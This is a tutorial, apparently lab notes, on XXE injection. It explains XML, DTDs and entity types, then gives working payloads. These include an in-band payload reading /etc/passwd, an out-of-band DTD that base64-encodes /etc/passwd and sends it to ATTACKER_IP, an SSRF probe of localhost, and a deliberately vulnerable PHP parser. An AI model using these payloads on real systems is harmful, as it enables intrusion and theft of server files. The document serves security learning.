Exploiting XXE (XML External entities) injections
Introductin to XML#
- XML (Extensible Markup language) is markup language derived from SGML (Standard Generalized Markup language), which is the same standard that HTML is based on.
- XML is typically used by applications to store and transport data in a format that’s both human readable and machine-parseable. Its flexible and widely used format for exchanging data between different systems and applications.
- XML consists of elements, attributes, and character data, which are used to represent data in a structured and organized way.
- XXE is type of security flaw that exploits vulnerability in an application’s XML input that includes external entity references with in XML itself. Attackers leverage this vulnerability to disclose local files, make server-side requests, or execute remote code.
- Given Widespread use of XML in web applications, particularly in webservices such as SOAP and REST based APIs, the severity of these vulnerabilities cannot be underestimated.
XML syntax structure#
- XML elements are represented by tags, which surrounded by angle brackets
<>. Tags usually come in pairs, with opening tag preceeding the content and closing tag following the content.<!-- Declaration indiates XML version --> <?xml version="1.-" encoding="UTF-8"?> <!-- Elemenet containing various sub-elements, and attributs representing user data --> <user id="1"> <name>John</name> <age>30</age> <address> <street>124 Main St</street> <city>AnyCity</city> </address> </user>
Whats XSLT?#
- XSLT (Extinsible stylesheet language transformations) is a language used to transform and format XML documents. While XSLT is primarily used for data transformation and formatting, it is also significantly relavant to XXE attacks.
- XSLT can be used to facilitate XXE attacks in several ways such as Data Extraction:, Entity Expansion:, Data Manupulation:, Blind XXE.
What are DTDs (Document Type Definitions)?#
- DTDs define the structure and contraints of xml doc. The specify the allowed elements, attributes, and relationsships between them. DTDs can be internal within document or external in a seperate file.
- Purpose of DTDs usage: for validating the structure of xml doc before processing.
- Internal DTDs are specified by using
<!DOCTYPE>declaration, while external DTDs are reference using theSYSTEMkeyword.<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE config [ <!ELEMENT config (database)> <!ELEMENT database (usernaem, password)> <!ELEMENT username (#PCDATA)> <!ELEMENT password (#PCDATA)> ]> <config> <!-- configuration data --> </config> - DTDs play a crucial role in XXE injection, as they can be used to declare external entities which can reference external files or URLs, lead to malicious data or code injections.
XML Entities#
- These are the place holders for data or code that can be expanded with in xml document.
- 5 Types of entities
- 1. Internal entities: are essentially varialbes used with in an XML doc to define and substitute content may be repeated multiple times. They are defined in the DTD.
<!DOCTYPE note [ <!-- declaring the varible named 'inf' --> <!ENTITY inf "This is a test."> ]> <note> <info>&inf;</info> </note> - External Entities: Similar to internal entities but their contents are referenced from outside of XML doc, such as seperate file or URL. This feature can be exploited in XXE attacks if the XML processor is configured to resolve external entities.
<!DOCTYPE note [ <!ENTITY ext SYSTEM "http://example.com/external.dtd"> ]> <note> <info>&ext;</info> </note> - Parameter Entities: specials types of entities used within DTDs to define reusable structures or to include external DTD subsets. These are particularly usefull for modularizing DTDs and maintaining large scale XML applications.
<!DOCTYPE note [ <!-- %common; is used within DTD to define type of data that name can hold. --> <!ENTITY % common "CDATA"> <!ELEMENT name ($common;)> ]> <note> <name>John Doe</name> </note> - General Entities: Used to define substitutions that can be used withtin the body of the XML document. Unlike parameter entities, these are inteded for use in document content.
<!DOCTYPE note [ <!ENTITY author "John Doe"> ]> <note> <writer>&author;</writer> </note> - Character Entities: are used to represent special or reserved characters that cannot be used directly in XML documents. These entites prevent the parser from misinterpreting XML syntax. For exmaple
<for the<>for the>&for the&
XML Parsing Mechanisms#
- XML parsing is the process by which XML file is read, and its information is accessed and manipulated by software program.
- XML parsers convert data from XML format into a structure that a program can use. During this process, parsers may validate XML data against a schema or a DTD, ensuring the structure conforms to certain values.
- Common XML Parsers in different programming environments; each parser handle data differently, which can affect vulnerability to XXE injection.
- DOM Parser: This method builds the entire XML doc into a memory based tree structure, allowing random access to all parts of doc. Its resourse intensive but flexible.
- SAX (Simple API for XML): Parses XML data sequentially without loading whole document into memory, making it suitable for large XML files. However, it is less flexible for accessing XML data randamly.
- StAX (Streaming API for XML): Similar to SAX, StAX parses XML documents in a streaming fashion but gives the programmer more control over XML parsing process.
- XPath Parser: Parses an XML doc based on expression and is used extensively in conjuction with XSLT.
Exploiting XXE: In-band#
- In-band refers to an XXE vulnerability where the attacker see the response form the server. This allows straight forward data exfiltration and exploitation. The attacker can simply send a malicious XML payload to the application, and the server will respond with extracted data or the result of attack.
- Out-of-band XXE vulnerability, on the other hand, attacker cannot see response from the server. This requires alternative channels, such as DNS or HTTP requests, to exfiltrate data. To extract the data, the attacker must craft a malicious XML payload that will trigger an out-of-band request, such as DNS query or an HTTP request.
Example:#
- Lets say, if a webserver directly parses a xml doc from post request and print the name value.
<?xml version="1.0" encoding="UTF-8"?> <contact> <name>My Name</name> <email>test@test.com</email> <message>Test Message</message> </contact> - As it does not sanitize the input, we can provide the variable
xxewhich points to content in /etc/passwd as name value.<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:////etc/passwd"> ]> <contact> <name>&xxe;</name> <email>test@test.com</email> <message>Test Message</message> </contact>
XML Entity Expansion#
- It involves defining entities with in a XML doc, which the XML parser then expands. Attacker can abuse this feature by creating recursive or excessively large entitites, leading to a denial of service (Dos) attack or defining external entities referencing sensitive files or services. This method is central to both in-hand and out-of-band XXE, as it allows attackers to inject malicious entities into the XML data.
- For example:
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "This is a test messgte" > ]> <contact> <name>&xxe; &xxe;</name> <email>test@test.com</email> <message>test</message> </contact> - In the payload above, &xxe; is expanded wherever it appears. Attackers can use entity expansion to perform a Billion Laughs attack, where a small XML document recursively expands to consume server resources, leading to a denial of service.
Out of Band XXE#
- Lets consider a example of web application uses below php code to upload a file.
libxml_disable_entity_loader(false); $xmlData = file_get_contents('php://input'); $doc = new DOMDocument(); $doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD); $links = $doc->getElementsByTagName('file'); foreach ($links as $link) { $fileLink = $link->nodeValue; $stmt = $conn->prepare("INSERT INTO uploads (link, uploaded_date) VALUES (?, NOW())"); $stmt->bind_param("s", $fileLink); $stmt->execute(); if ($stmt->affected_rows > 0) { echo "Link saved successfully."; } else { echo "Error saving link."; } $stmt->close(); } - The code above doesn’t return the values of the submitted XML data. Hence, the term Out-of-Band since the exfiltrated data has to be captured using an attacker-controlled server.
- For this attack, we will need a server that will receive data from other servers. We can use Python’s http.server module, although there are options out there.
# Start a http server in kali python3 -m http.server 1337 # Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ... - Upload a file in the application and monitor the request that is sent to submit.php using your Burp. Forward the request below to Burp Repeater. And if there is possibility to modify the xml to exploit the system. Please see the modified xml payload.
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://ATTACKER_IP:1337/" >]> <upload><file>&xxe;</file></upload> - After sending the modified HTTP request, the Python web server will receive a connection from the target machine. The establishment of a connection with the server indicates that sensitive information can be extracted from the application.
- We can now create a DTD file that contains an external entity with a PHP filter to exfiltrate data from the target web application.
- Save the sample DTD file below and name it as sample.dtd.
<!-- sample.dtd file exfiltrate the contents of /etc/passwd and send the response back to the attacker-controlled server --> <!-- The %cmd entity refers to a resource within the PHP filter protocol php://filter/convert.base64-encode/resource=/etc/passwd. It retrieves the base64 encoded content of /etc/passwd --> <!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!-- The %oobxxe entity contains another XML entity declaration, exfil, which has a system identifier pointing to the attacker-controlled server. --> <!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>"> %oobxxe; - Go back to the repeater and change your payload to and send the request.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE upload SYSTEM "http://ATTACKER_IP:1337/sample.dtd"> <upload> <file>&exfil;</file> </upload> - Resend the request and check your terminal. You will receive two (2) requests. The first is the request for the sample.dtd file, and the second is the request sent by the vulnerable application containing the encoded /etc/passwd.
- Decoding the exfiltrated base64 data will show that it contains the base64 value of /etc/passwd.
SSRF + XXE#
- Server-Side Request Forgery (SSRF) attacks occur when an attacker abuses functionality on a server, causing the server to make requests to an unintended location.
- In the context of XXE, an attacker can manipulate XML input to make the server issue requests to internal services or access internal files.
- This technique can be used to scan internal networks, access restricted endpoints, or interact with services that are only accessible from the server’s local network.
Example:#
- Consider a scenario where a vulnerable server hosts another web application internally on a non-standard port. An attacker can exploit an XXE vulnerability that makes the server send a request to its own internal network resource.
- For example, using the captured request from the in-band XXE task, send the captured request to Burp Intruder and use the payload below:
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://localhost:10/" > ]> <contact> <name>&xxe;</name> <email>test@test.com</email> <message>test</message> </contact>